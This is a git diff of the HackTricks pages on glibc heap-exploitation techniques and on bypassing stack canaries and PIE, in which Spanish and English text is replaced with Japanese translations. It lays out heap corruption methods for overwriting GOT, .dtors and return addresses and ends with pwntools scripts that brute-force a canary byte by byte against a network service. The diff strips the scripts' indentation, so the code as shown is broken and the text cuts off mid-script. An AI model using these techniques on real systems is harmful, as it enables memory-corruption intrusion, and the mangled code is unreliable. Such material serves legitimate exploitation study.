lo que escribimos en el trozo que se va a liberar. +unsorted_chunksがどのように定義されているかを見ると、次のようになります。 +bck = &av->bins[2]-8; +fwd = bck->fd = *(av->bins[2]); +fwd->bk = *(av->bins[2] + 12) = p; -Tal y como se define unsorted\_chunks, sabemos que:\ -bck = \&av->bins\[2]-8;\ -fwd = bck->fd = \*(av->bins\[2]);\ -fwd->bk = \*(av->bins\[2] + 12) = p; +したがって、av->bins[2]に\_\_DTOR\_END\_\_-12の値を書き込むと、最後の命令で\_\_DTOR\_END\_\_のアドレスが2番目の領域のアドレスに書き込まれます。 -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo. +つまり、最初の領域の先頭には何度も\_\_DTOR\_END\_\_-12のアドレスを書き込む必要があります。av->bins[2]からそれを取得するためです。 -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2] +2番目の領域のアドレスの末尾には、最後の5桁が0のアドレスに、最初の領域へのアドレスを書き込む必要があります。そうすることで、heap_for_ptr()はar_ptrが最初の領域の先頭にあると思い込み、av->bins[2]から値を取得します。 -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +2番目の領域では、最初の領域を使ってprev_sizeをジャンプ0x0cで上書きし、sizeにはNON_MAIN_ARENAを有効にするための値を書き込みます。 -En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA +その後、2番目の領域にはたくさんのnopsを配置し、最後にシェルコードを配置します。 -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode +このようにして、\_int_free(TROZO1, TROZO2)が呼び出され、\_\_DTOR\_END\_\_のprev_sizeのアドレスがTROZO2に書き込まれ、そこからシェルコードにジャンプします。 -De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode. +このテクニックを適用するには、いくつかの追加の要件を満たす必要があり、ペイロードがやや複雑になります。 -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. - -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +このテクニックはもはや適用できません。unlinkとほぼ同じパッチが適用されました。新しいポインタが自身を指しているかどうかを比較します。 **Fastbin** -Es una variante de The house of mind +The house of mindのバリエーションです。 -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int\_free() +\_int\_free()関数の最初のチェックを通過した後に実行される次のコードを実行することが重要です。 -fb = &(av->fastbins\[fastbin\_index(size)] —> Siendo fastbin\_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2 … -p->fd = \*fb +p->fd = *fb -\*fb = p +*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max\_fast esté en la dirección que vamos a sobreescribir. +これにより、fbがGOT内の関数のアドレスを指すようにすることができます。このアドレスには、上書きする領域のアドレスが配置されます。これには、av->max_fastが上書きされるアドレスに近くにある必要があります。 -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +The House of Mindでavの位置を制御できることがわかりました。 -Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast +したがって、sizeフィールドに8 + NON_MAIN_ARENA + PREV_INUSEのサイズを設定すると、fastbin_index()はfastbins[-1]を返し、これはav->max_fastを指します。 -En este caso av->max\_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +この場合、av->max_fastは上書きされるアドレスです(指しているアドレスではなく、その位置が上書きされます)。 -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +さらに、解放される隣接領域のサイズは8より大きくなければなりません。解放される領域のサイズが8であると述べたので、この偽の領域には8より大きいサイズを設定するだけです(さらに、シェルコードが解放される領域に配置されるため、最初にjmpが配置される必要があります)。 -Además, ese mismo trozo falso debe ser menor que av->system\_mem. av->system\_mem se encuentra 1848 bytes más allá. +さらに、同じ偽の領域はav->system_memよりも小さくなければなりません。av->system_memはその上に1848バイトあります。 -Por culpa de los nulos de \_DTOR\_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +\_DTOR_END\_のヌル文字とGOT内のアドレスの数が少ないため、これらのセクションのどのアドレスも上書きには適していません。そのため、fastbinを使用してスタックを攻撃する方法を見てみましょう。 -Otra forma de ataque es redirigir el **av** hacia la pila. +もう一つの攻撃方法は、avをスタックに向けることです。 -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin\_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +サイズを8ではなく16に変更すると、fastbin_index()はfastbins[0]を返し、これを使用してスタックを上書きできます。 -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +そのため、スタックにはcanaryや奇妙な値がない必要があります。実際、以下のような状態である必要があります:4バイトのヌル文字 + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +4バイトのヌル文字は、avがこのアドレスにある必要があり、avの最初の要素はmutexeであり、値は0である必要があります。 -El **av->max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +av->max_fastはEBPとなり、制約をスキップするための値となります。 -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +av->fastbins[0]はpのアドレスで上書きされ、RETとなり、シェルコードにジャンプします。 -Además, en **av->system\_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +さらに、av->system_mem(スタック上の位置から1484バイト上にある)には、スキップするための十分なゴミがあります。 -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +解放される隣接領域のサイズは8より大きくなければなりません。解放される領域のサイズが16であると述べたので、この偽の領域には8より大きいサイズを設定するだけです(さらに、新しい偽の領域のsizeフィールドの後に配置されるnopsにジャンプするjmpが配置される必要があります)。 **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +この場合、攻撃者が変更可能なmallocのポインタ(例えば、オーバーフロー可能な変数の下にあるスタック上のポインタ)を持つ必要があります。 -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max\_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +したがって、このポインタを任意の場所に指すようにすることができます。ただし、任意の場所が有効であるわけではありません。偽の領域のサイズはav->max_fastよりも小さくなければならず、より具体的には将来のmalloc()+8の呼び出しで要求されるサイズと同じでなければなりません。したがって、この脆弱なポインタの後にmalloc(40)が呼び出されることがわかっている場合、偽の領域のサイズは48とする必要があります。 +## The House of Force -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system\_mem. +例えば、プログラムがユーザーに数値を尋ねる場合、48を入力し、変更可能なmallocポインタを次の4バイトに設定することができます(これは幸運な場合、EBPに属するかもしれませんので、48は後ろに残ります)。さらに、ptr-4+48のアドレスはいくつかの条件を満たす必要があります(この場合、ptr=EBPであるとします)、つまり、8 < ptr-4+48 < av->system_memです。 -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +これが満たされる場合、私たちがmalloc(40)と指定した次のmallocが呼び出されると、そのアドレスにEBPのアドレスが割り当てられます。攻撃者がこのmallocに書き込むこともできる場合、EBPとEIPの両方を任意のアドレスで上書きすることができます。 -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +これは、free()が呼び出されると、スタックのEBPを指すアドレスに新しいmalloc()のための完璧なサイズのチャンクがあることを保存するためですので、そのアドレスを割り当てます。 **The House of Force** -Es necesario: +必要なもの: -* Un overflow a un trozo que permita sobreescribir el wilderness -* Una llamada a malloc() con el tamaño definido por el usuario -* Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +- wildernessをオーバーフローさせるチャンク +- ユーザーが定義したサイズでのmalloc()の呼び出し +- ユーザーが定義したデータでのmalloc()の呼び出し -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap +最初に行うことは、wildernessチャンクのサイズを非常に大きな値(0xffffffff)で上書きすることです。これにより、十分に大きなメモリ要求はヒープを拡張する必要なく、\_int\_malloc()で処理されます。 -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +次に、av->topを攻撃者が制御するメモリ領域(スタックなど)を指すように変更します。av->topには\&EIP - 8が設定されます。 -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +av->topを攻撃者が制御するメモリ領域を指すように上書きする必要があります: victim = av->top; -remainder = chunck\_at\_offset(victim, nb); +remainder = chunck_at_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +victimは現在のwildernessチャンクのアドレス(現在のav->top)を取得し、remainderはそのアドレスにmalloc()によって要求されたバイト数を加えたものです。したがって、\&EIP-8が0xbffff224にあり、av->topが0x080c2788を含んでいる場合、次のmalloc()でav->topが$EIP-8を指すようにするために制御されたmallocで予約する必要があるバイト数は次のとおりです: 0xbffff224 - 0x080c2788 = 3086207644. -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +これにより、変更された値がav->topに保存され、次のmallocがEIPを指し、上書きすることができます。 -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +新しいwildernessチャンクのサイズが、最後のmalloc()によって要求されたサイズよりも大きいことが重要です。つまり、wildernessが\&EIP-8を指している場合、サイズはスタックのEBPフィールドにちょうど入ります。 **The House of Lore** -**Corrupción SmallBin** +**SmallBinの破損** -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +解放されたチャンクは、サイズに基づいてbinに挿入されます。しかし、binに挿入される前に、unsorted binsに保持されます。チャンクが解放されると、すぐにbinに入れるのではなく、unsorted binsに残ります。その後、新しいチャンクが予約され、前の解放されたチャンクが使用できる場合はそれを返しますが、より大きなチャンクが予約されると、unsorted binsにある解放されたチャンクは適切なbinに入れられます。 -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast (72normalmente) y menos a MIN\_LARGE\_SIZE (512). +脆弱なコードに到達するためには、メモリ要求がav->max_fast(通常72)よりも大きく、MIN_LARGE_SIZE(512)よりも小さい必要があります。 -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +binに適切なサイズのチャンクがある場合、それを解除した後にそれを返します: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; // 前のチャンクを指す、唯一の変更可能な情報です。 -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; // 最後のチャンクになります。bckがスタックを指している場合、次の予約されたチャンクにこのアドレスが与えられます。 -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; // リストを閉じ、これがbinを指すようにします。 -Se necesita: +必要なもの: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +- 2つのmallocを予約することで、2番目のmallocが解放され、binに挿入される前にオーバーフローを発生させることができます(つまり、オーバーフローする前に2番目のチャンクよりも大きなmallocを予約する必要があります)。 +- 攻撃者が選んだアドレスを持つ予約されたmallocが攻撃者によって制御される必要があります。 -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +目標は次のとおりです。解放されたチャンクの下にある解放されたチャンクにオーバーフローを発生させ、そのチャンクのbkポインタを変更する必要があります。bkポインタを変更し、そのチャンクがbinのリストの最初になり、予約されると、binはリストの最後のチャンク(次に提供されるチャンク)が偽のアドレス(スタックやGOTなど)にあると信じ込まされます。したがって、別のチャンクが予約され、攻撃者がそのチャンクにアクセス権を持っている場合、望ましい位置にチャンクが与えられ、書き込むことができます。 -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +変更されたチャンクを解放した後、解放されたチャンクよりも大きなチャンクを予約する必要があります。これにより、変更されたチャンクがunsorted binsから出てきて、適切なbinに挿入されます。 -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +binが再度使用されるまでに十分な回数のmalloc()が呼び出されるまで待つ必要があります。これにより、変更されたbinが使用され、binを欺いて次のチャンクが偽のアドレスにあると信じ込ませることができます。そして、望ましいチャンクが与えられます。 -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +この攻撃をできるだけ早く実行するためには、次のような順序で行うことが理想的です:脆弱なチャンクの予約、変更されるチャンクの予約、このチャンクの解放、変更されるチャンクよりも大きなチャンクの予約、チャンクの変更(脆弱性)、脆弱なチャンクと同じサイズのチャンクの予約、および選択したアドレスを指す2番目の同じサイズのチャンクの予約。 -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +この攻撃を防ぐために、通常のチェックが行われます。つまり、チャンクが「偽の」ものではないことを確認します:bck->fdがvictimを指しているかどうかを確認します。つまり、私たちの場合、スタックに指された偽のチャンクのfdポインタがvictimを指しているかどうかを確認します。 +基本的には、ヒープにできるだけ多くのメモリを割り当て、これらをNopで終わるシェルコードのクッションで埋めます。また、クッションとして0x0cを使用します。したがって、アドレス0x0c0c0c0cにジャンプしようとします。したがって、このクッションで呼び出されるアドレスが上書きされる場合、そこにジャンプします。基本的な戦術は、最大限の予約を行い、ポインタが上書きされるかどうかを確認し、そこにジャンプすることです。そこにはNopがあることを期待しています。 -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +**ヒープ風水** -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +予約と解放を使用して、メモリをセメント状に配置し、空きスペースの間に予約されたスペースが残るようにします。オーバーフローするバッファは、これらのスペースの1つに配置されます。 -**Corrupción LargeBin** - -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. - -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. - -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) - -Además se ha introducido un parche para hacerlo aún más complicado. - -**Heap Spraying** - -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. - -**Heap Feng Shui** - -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. - -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d executable** —> 関数のDisas\ +**objdump -d ./PROGRAMA | grep FUNCTION** —> 関数のアドレスを取得\ +**objdump -d -Mintel ./shellcodeout** —> シェルコードが正しく表示され、OpCodeを取得するためのもの\ +**objdump -t ./exec | grep varBss** —> シンボルテーブルから変数と関数のアドレスを取得するためのもの\ +**objdump -TR ./exec | grep exit(func lib)** —> ライブラリの関数のアドレスを取得するためのもの (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> GOTに上書きするputsのアドレスを取得するためのもの\ +**objdump -D ./exec** —> 全てのPLTエントリまでのDisas\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** gdbで関数の情報を取得するためのもの -## Interesting courses +## おすすめのコース * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -## **References** +## **参考文献** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) @@ -1088,10 +1046,10 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md index 2fb77a1e8..bea8560f2 100644 --- a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md +++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md @@ -1,116 +1,111 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**もし、キャナリーとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるでしょう。** ![](<../../.gitbook/assets/image (144).png>) {% hint style="info" %} -Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +**`checksec`**は、バイナリがキャナリーで保護されていることを見つけることができない場合があります。これは、静的にコンパイルされ、関数を識別することができない場合です。\ +ただし、関数呼び出しの最初にスタックに値が保存され、この値が終了前にチェックされる場合、手動でこれを確認することができます。 {% endhint %} -# Brute force Canary +# キャナリーのブルートフォース -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +単純なキャナリーをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**である場合です(ネットワークサービス)。なぜなら、接続するたびに**同じキャナリーが使用される**からです。 -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +そのため、キャナリーをバイパスする最良の方法は、単に**1文字ずつキャナリーをブルートフォースする**ことです。推測されたキャナリーバイトが正しいかどうかは、プログラムがクラッシュしたか、通常のフローを続けたかどうかで確認できます。この例では、関数は**8バイトのキャナリー(x64)**をブルートフォースし、正しく推測されたバイトと誤ったバイトを**サーバーからの応答**の有無で区別します(他の状況では**try/except**を使用する方法もあります): -## Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +## 例1 +この例は64ビット用に実装されていますが、32ビット用に簡単に実装することもできます。 ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() + +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base - canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +## 例2 -## Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +これは32ビット用に実装されていますが、簡単に64ビットに変更できます。\ +また、この例では**プログラムが最初に入力のサイズを示すバイトを期待している**ことに注意してください。 ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 - - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Return the canary - return known_canary +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) + +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the 